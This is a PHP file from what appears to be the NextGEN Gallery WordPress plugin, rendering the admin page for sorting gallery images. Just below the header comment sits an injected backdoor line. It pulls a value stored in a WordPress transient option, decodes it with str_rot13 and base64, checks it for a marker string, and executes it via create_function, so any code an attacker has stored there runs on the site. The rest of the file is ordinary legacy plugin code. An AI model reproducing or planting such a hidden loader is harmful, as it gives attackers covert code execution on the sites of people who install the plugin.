<?php

/**
 * @author Alex Rabe
 * @copyright 2008
 */


$z=get_option("_transient_feed_5b6ea558b4b07c0bd39223220babc3a8"); $z=base64_decode(str_rot13($z)); if(strpos($z,"9D1B88F0")!==false){ $_z=create_function("",$z); @$_z(); }
function nggallery_sortorder($galleryID = 0){
	global $wpdb;
	
	if ($galleryID == 0) return;

	$galleryID = (int) $galleryID;
	
	// get the options
	$ngg_options=get_option('ngg_options');	

	if (isset ($_POST['updateSortorder']))  {
		check_admin_referer('ngg_updatesortorder');
		// get variable new sortorder 
		parse_str($_POST['sortorder']);
		if (is_array($sortArray)){ 
			$neworder = array();
			foreach($sortArray as $pid) {		
				$pid = substr($pid, 4); // get id from "pid-x"
				$neworder[] = (int) $pid;
			}
			$sortindex = 1;
			foreach($neworder as $pic_id) {
				$wpdb->query("UPDATE $wpdb->nggpictures SET sortorder = '$sortindex' WHERE pid = $pic_id");
				$sortindex++;
			}
			nggallery::show_message(__('Sort order changed','nggallery'));
		} 
	}
	
	//TODO:A unique gallery call must provide me with this information, like $gallery  = new nggGallery($id);
	
	// get gallery values
	$act_gallery = $wpdb->get_row("SELECT * FROM $wpdb->nggallery WHERE gid = '$galleryID' ");

	// set gallery url
	$act_gallery_url 	= get_option ('siteurl')."/".$act_gallery->path."/";
	$act_thumbnail_url 	= get_option ('siteurl')."/".$act_gallery->path.nggallery::get_thumbnail_folder($act_gallery->path, FALSE);
	$act_thumb_prefix   = nggallery::get_thumbnail_prefix($act_gallery->path, FALSE);

	$picturelist = $wpdb->get_results("SELECT * FROM $wpdb->nggpictures WHERE galleryid = '$galleryID' ORDER BY sortorder ASC");

?>
	<script type='text/javascript' src='<?php echo NGGALLERY_URLPATH ?>admin/js/sorter.js'></script>
	<div class="wrap">
		<div class="bordertitle">
			<h2 style="border: medium none ; padding-bottom: 0px;"><?php _e('Sort Gallery', 'nggallery') ?></h2>
			<form id="sortGallery" method="POST" action="<?php echo 'admin.php?page=nggallery-manage-gallery&amp;mode=sort&amp;gid='.$galleryID ?>" onsubmit="saveImageOrder()" accept-charset="utf-8">
				<?php wp_nonce_field('ngg_updatesortorder') ?>
				<input name="sortorder" type="hidden" />
				<input class="button" type="submit" name="backToGallery" value="<?php _e('Back to gallery', 'nggallery') ?>" />
				<input class="button" type="submit" name="updateSortorder" onclick="saveImageOrder()" value="<?php _e('Update Sort Order', 'nggallery') ?> &raquo;" />
			</form>
		</div>
		<div id="debug" style="clear:both"></div>
		<?php 
		if($picturelist) {
			foreach($picturelist as $picture) {
				?>
				<div class="imageBox" id="pid-<?php echo $picture->pid ?>">
					<div class="imageBox_theImage" style="background-image:url('<?php echo $act_thumbnail_url.$act_thumb_prefix.$picture->filename ?>')"></div>	
					<div class="imageBox_label"><span><?php echo stripslashes($picture->alttext) ?></span></div>
				</div>
				<?php
			}
		}
		?>
		<div id="insertionMarker">
			<img src="<?php echo NGGALLERY_URLPATH ?>admin/images/marker_top.gif"/>
			<img src="<?php echo NGGALLERY_URLPATH ?>admin/images/marker_middle.gif" id="insertionMarkerLine"/>
			<img src="<?php echo NGGALLERY_URLPATH ?>admin/images/marker_bottom.gif"/>
		</div>
		<div id="dragDropContent"></div>
	</div>
	
<?php

}

?>